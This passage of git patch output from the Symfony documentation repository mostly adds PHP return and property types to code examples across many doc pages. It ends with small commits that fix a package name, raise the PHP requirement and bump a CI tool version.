@@ -2043,7 +2045,7 @@ rules by creating a role hierarchy:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
 
             $security->roleHierarchy('ROLE_ADMIN', ['ROLE_USER']);
@@ -2158,7 +2160,7 @@ start with ``/admin``, you can:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->enableAuthenticatorManager(true);
 
             // ...
@@ -2227,7 +2229,7 @@ the list and stops when it finds the first match:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
 
             $security->accessControl()
@@ -2440,7 +2442,7 @@ the login page):
         use Symfony\Component\Security\Core\Authorization\Voter\AuthenticatedVoter;
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->enableAuthenticatorManager(true);
             // ....
 
@@ -2634,7 +2636,7 @@ for these events.
 
             use App\EventListener\LogoutSubscriber;
 
-            return function(ContainerConfigurator $container) {
+            return function(ContainerConfigurator $container): void {
                 $services = $container->services();
 
                 $services->set(LogoutSubscriber::class)
diff --git a/security/access_control.rst b/security/access_control.rst
index 231a0fb440b..cd1f8f276d6 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -118,7 +118,7 @@ Take the following ``access_control`` entries as an example:
         use Symfony\Component\DependencyInjection\ContainerBuilder;
         use Symfony\Config\SecurityConfig;
 
-        return static function (ContainerBuilder $container, SecurityConfig $security) {
+        return static function (ContainerBuilder $container, SecurityConfig $security): void {
             $container->setParameter('env(TRUSTED_IPS)', '10.0.0.1, 10.0.0.2');
             // ...
 
diff --git a/security/csrf.rst b/security/csrf.rst
index dd9c9c14333..3286cb44a3f 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -50,7 +50,7 @@ for more information):
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->csrfProtection()
                 ->enabled(true)
             ;
diff --git a/serializer.rst b/serializer.rst
index 1d1c91aee70..8da6df57c40 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -28,11 +28,12 @@ you need it or it can be used in a controller::
     namespace App\Controller;
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Serializer\SerializerInterface;
 
     class DefaultController extends AbstractController
     {
-        public function index(SerializerInterface $serializer)
+        public function index(SerializerInterface $serializer): Response
         {
             // keep reading for usage examples
         }
@@ -146,7 +147,7 @@ configuration:
         use Symfony\Component\Serializer\Normalizer\AbstractObjectNormalizer;
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->serializer()
                 ->defaultContext([
                     AbstractObjectNormalizer::ENABLE_MAX_DEPTH => true,
@@ -327,15 +328,15 @@ to your class::
         #[ORM\GeneratedValue]
         #[ORM\Column(type: 'integer')]
         #[Groups(['show_product', 'list_product'])]
-        private $id;
+        private int $id;
 
         #[ORM\Column(type: 'string', length: 255)]
         #[Groups(['show_product', 'list_product'])]
-        private $name;
+        private string $name;
 
         #[ORM\Column(type: 'text')]
         #[Groups(['show_product'])]
-        private $description;
+        private string $description;
     }
 
 You can now choose which groups to use when serializing::
@@ -487,7 +488,7 @@ value:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->serializer()->nameConverter('serializer.name_converter.camel_case_to_snake_case');
         };
 
diff --git a/service_container.rst b/service_container.rst
index 80ed141e83d..65b3586270c 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -203,7 +203,7 @@ each time you ask for it.
             // config/services.php
             namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-            return function(ContainerConfigurator $container) {
+            return function(ContainerConfigurator $container): void {
                 // default configuration for services in *this* file
                 $services = $container->services()
                     ->defaults()
@@ -407,7 +407,7 @@ example, suppose you want to make the admin email configurable:
       class SiteUpdateManager
       {
           // ...
-    +    private $adminEmail;
+    +    private string $adminEmail;
 
           public function __construct(
               private MessageGenerator $messageGenerator,
@@ -489,7 +489,7 @@ pass here. No problem! In your configuration, you can explicitly set this argume
 
         use App\Service\SiteUpdateManager;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             // ...
 
             // same as before
@@ -564,7 +564,7 @@ parameter and in PHP config use the ``service()`` function:
 
         use App\Service\MessageGenerator;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(MessageGenerator::class)
@@ -668,7 +668,7 @@ But, you can control this and pass in a different logger:
 
         use App\Service\MessageGenerator;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             // ... same code as before
 
             // explicitly configure the service
@@ -701,7 +701,7 @@ Let's add an argument to our ``MessageGenerator`` constructor::
 
     class MessageGenerator
     {
-        private $messageHash;
+        private string $messageHash;
 
         public function __construct(
             private LoggerInterface $logger,
@@ -768,7 +768,7 @@ Our configuration looks like this:
 
         use App\Service\MessageGenerator;
 
-        return function(ContainerConfigurator $containerConfigurator) {
+        return function(ContainerConfigurator $containerConfigurator): void {
             // ... same code as before
 
             // explicitly configure the service
@@ -863,7 +863,7 @@ You can also use the ``bind`` keyword to bind specific arguments by name or type
         use Symfony\Component\DependencyInjection\Definition;
         use Symfony\Component\DependencyInjection\Reference;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services()
                 ->defaults()
                     // pass this value to any $adminEmail argument for any service
@@ -998,7 +998,7 @@ setting:
 
         use App\Service\PublicService;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             // ... same as code before
 
             // explicitly configure the service
@@ -1050,7 +1050,7 @@ key. For example, the default Symfony configuration contains this:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             // ...
 
             // makes classes in src/ available to be used as services
@@ -1229,7 +1229,7 @@ admin email. In this case, each needs to have a unique service id:
         use App\Service\MessageGenerator;
         use App\Service\SiteUpdateManager;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             // ...
 
             // site_update_manager.superadmin is the service's id
@@ -1275,7 +1275,7 @@ the closure::
     // config/packages/my_config.php
     namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-    return function(ContainerConfigurator $containerConfigurator, string $env) {
+    return function(ContainerConfigurator $containerConfigurator, string $env): void {
         // `$env` is automatically filled in, so you can configure your
         // services depending on which environment you're on
     };
diff --git a/service_container/injection_types.rst b/service_container/injection_types.rst
index 156de661ce4..959a0008207 100644
--- a/service_container/injection_types.rst
+++ b/service_container/injection_types.rst
@@ -354,7 +354,7 @@ Another possibility is setting public fields of the class directly::
 
         use App\Mail\NewsletterManager;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set('app.newsletter_manager', NewsletterManager::class)
diff --git a/service_container/service_closures.rst b/service_container/service_closures.rst
index 97dff4c69d7..644fbe3ca75 100644
--- a/service_container/service_closures.rst
+++ b/service_container/service_closures.rst
@@ -79,7 +79,7 @@ argument of type ``service_closure``:
 
         use App\Service\MyService;
 
-        return function (ContainerConfigurator $container) {
+        return function (ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(MyService::class)
diff --git a/service_container/tags.rst b/service_container/tags.rst
index c22f31b716b..a2639729ff8 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -877,7 +877,7 @@ you can define it in the configuration of the collecting service:
 
         use Symfony\Component\DependencyInjection\Argument\TaggedIteratorArgument;
 
-        return function (ContainerConfigurator $container) {
+        return function (ContainerConfigurator $container): void {
             $services = $container->services();
 
             // ...
@@ -965,7 +965,7 @@ indexed by the ``key`` attribute:
         use App\Handler\Two;
         use Symfony\Component\DependencyInjection\Argument\TaggedIteratorArgument;
 
-        return function (ContainerConfigurator $container) {
+        return function (ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(One::class)
@@ -1079,7 +1079,7 @@ array element. For example, to retrieve the ``handler_two`` handler::
             use App\HandlerCollection;
             use Symfony\Component\DependencyInjection\Argument\TaggedIteratorArgument;
 
-            return function (ContainerConfigurator $container) {
+            return function (ContainerConfigurator $container): void {
                 $services = $container->services();
 
                 // ...
diff --git a/session.rst b/session.rst
index 16046f1952d..fc07aab68d0 100644
--- a/session.rst
+++ b/session.rst
@@ -297,7 +297,7 @@ configuration <config-framework-session>` in
         use Symfony\Component\HttpFoundation\Cookie;
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->session()
                 // Enables session support. Note that the session will ONLY be started if you read or write from it.
                 // Remove or comment this section to explicitly disable session support.
@@ -371,7 +371,7 @@ session metadata files:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->session()
                 // ...
                 ->handlerId('session.handler.native_file')
@@ -643,7 +643,7 @@ configuration option to tell Symfony to use this service as the session handler:
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler;
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             // ...
             $framework->session()
                 ->handlerId(RedisSessionHandler::class)
@@ -720,7 +720,7 @@ To use it, first register a new handler service with your database credentials:
 
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
 
-        return static function (ContainerConfigurator $container) {
+        return static function (ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(PdoSessionHandler::class)
@@ -776,7 +776,7 @@ configuration option to tell Symfony to use this service as the session handler:
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             // ...
             $framework->session()
                 ->handlerId(PdoSessionHandler::class)
@@ -830,7 +830,7 @@ passed to the ``PdoSessionHandler`` service:
 
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
 
-        return static function (ContainerConfigurator $container) {
+        return static function (ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(PdoSessionHandler::class)
@@ -1003,7 +1003,7 @@ the MongoDB connection as argument:
 
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
 
-        return static function (ContainerConfigurator $container) {
+        return static function (ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(MongoDbSessionHandler::class)
@@ -1051,7 +1051,7 @@ configuration option to tell Symfony to use this service as the session handler:
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             // ...
             $framework->session()
                 ->handlerId(MongoDbSessionHandler::class)
@@ -1122,7 +1122,7 @@ configure these values with the second argument passed to the
 
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
 
-        return static function (ContainerConfigurator $container) {
+        return static function (ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(MongoDbSessionHandler::class)
@@ -1520,7 +1520,7 @@ Symfony to use your session handler instead of the default one:
         use App\Session\CustomSessionHandler;
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             // ...
             $framework->session()
                 ->handlerId(CustomSessionHandler::class)
@@ -1547,23 +1547,21 @@ library, but you can adapt it to any other library that you may be using::
 
     class EncryptedSessionProxy extends SessionHandlerProxy
     {
-        private $key;
-
-        public function __construct(\SessionHandlerInterface $handler, Key $key)
-        {
-            $this->key = $key;
-
+        public function __construct(
+            private \SessionHandlerInterface $handler,
+            private Key $key
+        ) {
             parent::__construct($handler);
         }
 
-        public function read($id)
+        public function read($id): string
         {
             $data = parent::read($id);
 
             return Crypto::decrypt($data, $this->key);
         }
 
-        public function write($id, $data)
+        public function write($id, $data): string
         {
             $data = Crypto::encrypt($data, $this->key);
 
@@ -1587,16 +1585,14 @@ intercept the session before it is written::
 
     class ReadOnlySessionProxy extends SessionHandlerProxy
     {
-        private $security;
-
-        public function __construct(\SessionHandlerInterface $handler, Security $security)
-        {
-            $this->security = $security;
-
+        public function __construct(
+            private \SessionHandlerInterface $handler,
+            private Security $security
+        ) {
             parent::__construct($handler);
         }
 
-        public function write($id, $data)
+        public function write($id, $data): string
         {
             if ($this->getUser() && $this->getUser()->isGuest()) {
                 return;
@@ -1605,12 +1601,14 @@ intercept the session before it is written::
             return parent::write($id, $data);
         }
 
-        private function getUser()
+        private function getUser(): ?User
         {
             $user = $this->security->getUser();
             if (is_object($user)) {
                 return $user;
             }
+
+            return null;
         }
     }
 
@@ -1658,7 +1656,7 @@ for the ``handler_id``:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->session()
                 ->storageFactoryId('session.storage.factory.php_bridge')
                 ->handlerId(null)
@@ -1718,7 +1716,7 @@ the example below:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->session()
                 ->storageFactoryId('session.storage.factory.php_bridge')
                 ->handlerId('session.storage.native_file')
diff --git a/templates.rst b/templates.rst
index 0d986b0b0bb..5f59c91f59a 100644
--- a/templates.rst
+++ b/templates.rst
@@ -1010,7 +1010,7 @@ template fragments. Configure that special URL in the ``fragments`` option:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             // ...
             $framework->fragments()->path('/_fragment');
         };
@@ -1083,7 +1083,7 @@ default content rendering some template:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             // ...
             $framework->fragments()
                 ->hincludeDefaultTemplate('hinclude.html.twig')
diff --git a/testing.rst b/testing.rst
index 77b314723d7..6bdafc1c32e 100644
--- a/testing.rst
+++ b/testing.rst
@@ -357,7 +357,7 @@ the ``test`` environment as follows:
         use App\Contracts\Repository\NewsRepositoryInterface;
         use App\Repository\NewsRepository;
 
-        return static function (ContainerConfigurator $container) {
+        return static function (ContainerConfigurator $container): void {
             $container->services()
                 // redefine the alias as it should be while making it public
                 ->alias(NewsRepositoryInterface::class, NewsRepository::class)
diff --git a/testing/profiling.rst b/testing/profiling.rst
index f7e2d8e54da..3c0184b604c 100644
--- a/testing/profiling.rst
+++ b/testing/profiling.rst
@@ -46,7 +46,7 @@ tests significantly. That's why Symfony disables it by default:
         // config/packages/test/web_profiler.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             // ...
             $framework->profiler()
                 ->enabled(true)
diff --git a/translation.rst b/translation.rst
index 87c0dc8aaed..9842e561f1d 100644
--- a/translation.rst
+++ b/translation.rst
@@ -96,7 +96,7 @@ are located:
         // config/packages/translation.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             // ...
             $framework
                 ->defaultLocale('en')
@@ -557,7 +557,7 @@ if you're generating translations with specialized programs or teams.
             // config/packages/translation.php
             use Symfony\Config\FrameworkConfig;
 
-            return static function (FrameworkConfig $framework) {
+            return static function (FrameworkConfig $framework): void {
                 $framework->translator()
                     ->paths(['%kernel.project_dir%/custom/path/to/translations'])
                 ;
@@ -914,7 +914,7 @@ the framework:
         // config/packages/translation.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->defaultLocale('en');
         };
 
@@ -975,7 +975,7 @@ checks translation resources for several locales:
            // config/packages/translation.php
            use Symfony\Config\FrameworkConfig;
 
-            return static function (FrameworkConfig $framework) {
+            return static function (FrameworkConfig $framework): void {
                 // ...
                 $framework->translator()
                     ->fallbacks(['en'])
diff --git a/validation.rst b/validation.rst
index 817713253d9..339a373fef6 100644
--- a/validation.rst
+++ b/validation.rst
@@ -36,7 +36,7 @@ your application::
 
     class Author
     {
-        private $name;
+        private string $name;
     }
 
 So far, this is an ordinary class that serves some purpose inside your
@@ -63,7 +63,7 @@ following:
         class Author
         {
             #[Assert\NotBlank]
-            private $name;
+            private string $name;
         }
 
     .. code-block:: yaml
@@ -100,9 +100,9 @@ following:
 
         class Author
         {
-            private $name;
+            private string $name;
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('name', new NotBlank());
             }
@@ -136,7 +136,7 @@ returned. Take this simple example from inside a controller::
     use Symfony\Component\Validator\Validator\ValidatorInterface;
 
     // ...
-    public function author(ValidatorInterface $validator)
+    public function author(ValidatorInterface $validator): Response
     {
         $author = new Author();
 
@@ -268,7 +268,7 @@ literature genre mostly associated with the author, which can be set to either
                 choices: ['fiction', 'non-fiction'],
                 message: 'Choose a valid genre.',
             )]
-            private $genre;
+            private string $genre;
 
             // ...
         }
@@ -317,11 +317,11 @@ literature genre mostly associated with the author, which can be set to either
 
         class Author
         {
-            private $genre;
+            private string $genre;
 
             // ...
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 // ...
 
@@ -352,7 +352,7 @@ options can be specified in this way.
         class Author
         {
             #[Assert\Choice(['fiction', 'non-fiction'])]
-            private $genre;
+            private string $genre;
 
             // ...
         }
@@ -398,9 +398,9 @@ options can be specified in this way.
 
         class Author
         {
-            private $genre;
+            private string $genre;
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 // ...
 
@@ -424,7 +424,7 @@ Constraints in Form Classes
 Constraints can be defined while building the form via the ``constraints`` option
 of the form fields::
 
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    public function buildForm(FormBuilderInterface $builder, array $options): void
     {
         $builder
             ->add('myField', TextType::class, [
@@ -468,7 +468,7 @@ class to have at least 3 characters.
         {
             #[Assert\NotBlank]
             #[Assert\Length(min: 3)]
-            private $firstName;
+            private string $firstName;
         }
 
     .. code-block:: yaml
@@ -511,9 +511,9 @@ class to have at least 3 characters.
 
         class Author
         {
-            private $firstName;
+            private string $firstName;
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('firstName', new Assert\NotBlank());
                 $metadata->addPropertyConstraint(
@@ -556,7 +556,7 @@ this method must return ``true``:
         class Author
         {
             #[Assert\IsTrue(message: 'The password cannot match your first name')]
-            public function isPasswordSafe()
+            public function isPasswordSafe(): bool
             {
                 // ... return true or false
             }
@@ -599,7 +599,7 @@ this method must return ``true``:
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addGetterConstraint('passwordSafe', new Assert\IsTrue([
                     'message' => 'The password cannot match your first name',
@@ -609,7 +609,7 @@ this method must return ``true``:
 
 Now, create the ``isPasswordSafe()`` method and include the logic you need::
 
-    public function isPasswordSafe()
+    public function isPasswordSafe(): bool
     {
         return $this->firstName !== $this->password;
     }
diff --git a/validation/translations.rst b/validation/translations.rst
index d5e6d14d8e1..44348ce2b8c 100644
--- a/validation/translations.rst
+++ b/validation/translations.rst
@@ -20,7 +20,7 @@ your application::
 
     class Author
     {
-        public $name;
+        public string $name;
     }
 
 Add constraints through any of the supported methods. Set the message option
@@ -39,7 +39,7 @@ property is not empty, add the following:
         class Author
         {
             #[Assert\NotBlank(message: 'author.name.not_blank')]
-            public $name;
+            public string $name;
         }
 
     .. code-block:: yaml
@@ -79,9 +79,9 @@ property is not empty, add the following:
 
         class Author
         {
-            public $name;
+            public string $name;
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('name', new NotBlank([
                     'message' => 'author.name.not_blank',
diff --git a/workflow.rst b/workflow.rst
index ec46d729889..2e0c9dfd190 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -122,7 +122,7 @@ follows:
         use App\Entity\BlogPost;
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $blogPublishing = $framework->workflows()->workflows('blog_publishing');
             $blogPublishing
                 ->type('workflow') // or 'state_machine'
@@ -175,17 +175,17 @@ The configured property will be used via its implemented getter/setter methods b
     class BlogPost
     {
         // the configured marking store property must be declared
-        private $currentPlace;
-        private $title;
-        private $content;
+        private string $currentPlace;
+        private string $title;
+        private string $content;
 
         // getter/setter methods must exist for property access by the marking store
-        public function getCurrentPlace()
+        public function getCurrentPlace(): string
         {
             return $this->currentPlace;
         }
 
-        public function setCurrentPlace($currentPlace, $context = [])
+        public function setCurrentPlace($currentPlace, $context = []): void
         {
             $this->currentPlace = $currentPlace;
         }
@@ -261,7 +261,7 @@ machine type, use ``camelCased workflow name + StateMachine``::
         ) {
         }
 
-        public function toReview(BlogPost $post)
+        public function toReview(BlogPost $post): void
         {
             // Update the currentState on the post
             try {
@@ -423,7 +423,7 @@ workflow leaves a place::
         ) {
         }
 
-        public function onLeave(Event $event)
+        public function onLeave(Event $event): void
         {
             $this->logger->alert(sprintf(
                 'Blog post (id: "%s") performed transition "%s" from "%s" to "%s"',
@@ -434,7 +434,7 @@ workflow leaves a place::
             ));
         }
 
-        public static function getSubscribedEvents()
+        public static function getSubscribedEvents(): array
         {
             return [
                 'workflow.blog_publishing.leave' => 'onLeave',
@@ -477,7 +477,7 @@ missing a title::
 
     class BlogPostReviewSubscriber implements EventSubscriberInterface
     {
-        public function guardReview(GuardEvent $event)
+        public function guardReview(GuardEvent $event): void
         {
             /** @var BlogPost $post */
             $post = $event->getSubject();
@@ -488,7 +488,7 @@ missing a title::
             }
         }
 
-        public static function getSubscribedEvents()
+        public static function getSubscribedEvents(): array
         {
             return [
                 'workflow.blog_publishing.guard.to_review' => ['guardReview'],
@@ -550,7 +550,7 @@ to :ref:`Guard events <workflow-usage-guard-events>`, which are always fired:
         // config/packages/workflow.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             // ...
 
             $blogPublishing = $framework->workflows()->workflows('blog_publishing');
@@ -724,7 +724,7 @@ transition. The value of this option is any valid expression created with the
         // config/packages/workflow.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $blogPublishing = $framework->workflows()->workflows('blog_publishing');
             // ... previous configuration
 
@@ -769,7 +769,7 @@ place::
 
     class BlogPostPublishSubscriber implements EventSubscriberInterface
     {
-        public function guardPublish(GuardEvent $event)
+        public function guardPublish(GuardEvent $event): void
         {
             $eventTransition = $event->getTransition();
             $hourLimit = $event->getMetadata('hour_limit', $eventTransition);
@@ -784,7 +784,7 @@ place::
             $event->addTransitionBlocker(new TransitionBlocker($explanation , '0'));
         }
 
-        public static function getSubscribedEvents()
+        public static function getSubscribedEvents(): array
         {
             return [
                 'workflow.blog_publishing.guard.publish' => ['guardPublish'],
@@ -935,7 +935,7 @@ be only the title of the workflow or very complex objects:
         // config/packages/workflow.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $blogPublishing = $framework->workflows()->workflows('blog_publishing');
             // ... previous configuration
 
@@ -978,7 +978,7 @@ Then you can access this metadata in your controller as follows::
     use Symfony\Component\Workflow\WorkflowInterface;
     // ...
 
-    public function myAction(WorkflowInterface $blogPublishingWorkflow, BlogPost $post)
+    public function myAction(WorkflowInterface $blogPublishingWorkflow, BlogPost $post): Response
     {
         $title = $blogPublishingWorkflow
             ->getMetadataStore()
diff --git a/workflow/dumping-workflows.rst b/workflow/dumping-workflows.rst
index d4c979133fc..de79270db7d 100644
--- a/workflow/dumping-workflows.rst
+++ b/workflow/dumping-workflows.rst
@@ -246,7 +246,7 @@ Below is the configuration for the pull request state machine with styling added
         // config/packages/workflow.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             // ...
             $pullRequest = $framework->workflows()->workflows('pull_request');
 
diff --git a/workflow/workflow-and-state-machine.rst b/workflow/workflow-and-state-machine.rst
index 3884af25059..f30d26397d1 100644
--- a/workflow/workflow-and-state-machine.rst
+++ b/workflow/workflow-and-state-machine.rst
@@ -194,7 +194,7 @@ Below is the configuration for the pull request state machine.
         // config/packages/workflow.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $pullRequest = $framework->workflows()->workflows('pull_request');
 
             $pullRequest

From 6d13a0dbfb11ab2d60c68039e2541de030765b04 Mon Sep 17 00:00:00 2001
From: Bloedewicht <svenzissner@gmail.com>
Date: Wed, 31 May 2023 18:45:19 +0200
Subject: [PATCH 4677/7107] Update mailer.rst

wrong composer packagename
---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index 702bdd181c1..fca1928396a 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -108,7 +108,7 @@ Service               Install with
 `Mailgun`_            ``composer require symfony/mailgun-mailer``
 `Mailjet`_            ``composer require symfony/mailjet-mailer``
 `MailPace`_           ``composer require symfony/mail-pace-mailer``
-`MailerSend`_         ``composer require symfony/mailersend-mailer``
+`MailerSend`_         ``composer require symfony/mailer-send-mailer``
 `Postmark`_           ``composer require symfony/postmark-mailer``
 `SendGrid`_           ``composer require symfony/sendgrid-mailer``
 `Sendinblue`_         ``composer require symfony/sendinblue-mailer``

From 291cded9c71731284f03ab10d9bcb7da0ca26420 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 1 Jun 2023 11:36:26 +0200
Subject: [PATCH 4678/7107] Upgrade the minimum PHP version requirement for
 Symfony 7.0

---
 setup.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup.rst b/setup.rst
index 7bb5a8010a2..b75335c9dd6 100644
--- a/setup.rst
+++ b/setup.rst
@@ -14,7 +14,7 @@ Technical Requirements
 
 Before creating your first Symfony application you must:
 
-* Install PHP 8.1 or higher and these PHP extensions (which are installed and
+* Install PHP 8.2 or higher and these PHP extensions (which are installed and
   enabled by default in most PHP 8 installations): `Ctype`_, `iconv`_,
   `PCRE`_, `Session`_, `SimpleXML`_, and `Tokenizer`_;
 * `Install Composer`_, which is used to install PHP packages.

From ace3eb9398f0b5e17e1de4c519d1fcca9462382f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 1 Jun 2023 11:59:42 +0200
Subject: [PATCH 4679/7107] Fix an RST syntax issue of some missing headline

---
 reference/twig_reference.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 0ee70b0929d..5d13a79abaf 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -330,7 +330,7 @@ absolute URLs instead of relative URLs.
 .. _reference-twig-function-t:
 
 t
-~
+~~~
 
 .. code-block:: twig
 

From 425f34af54bd45d11bd85a6a815f5faf59e5f333 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 1 Jun 2023 18:01:01 +0200
Subject: [PATCH 4680/7107] Use DOCtor-RST 1.47.2

---
 .github/workflows/ci.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index d91a7046960..af90b9308a3 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.47.1
+                uses: docker://oskarstark/doctor-rst:1.47.2
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From 1c6c06d743a59bcd144ebf052003f53133f66297 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 2 Jun 2023 11:01:50 +0200
Subject: [PATCH 4681/7107] [Cache] Fix redis adapter option type

---
 components/cache/adapters/redis_adapter.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index 821fbb14050..a7530e6d3f0 100644
--- a/components/cache/adapters/redis_adapter.rst
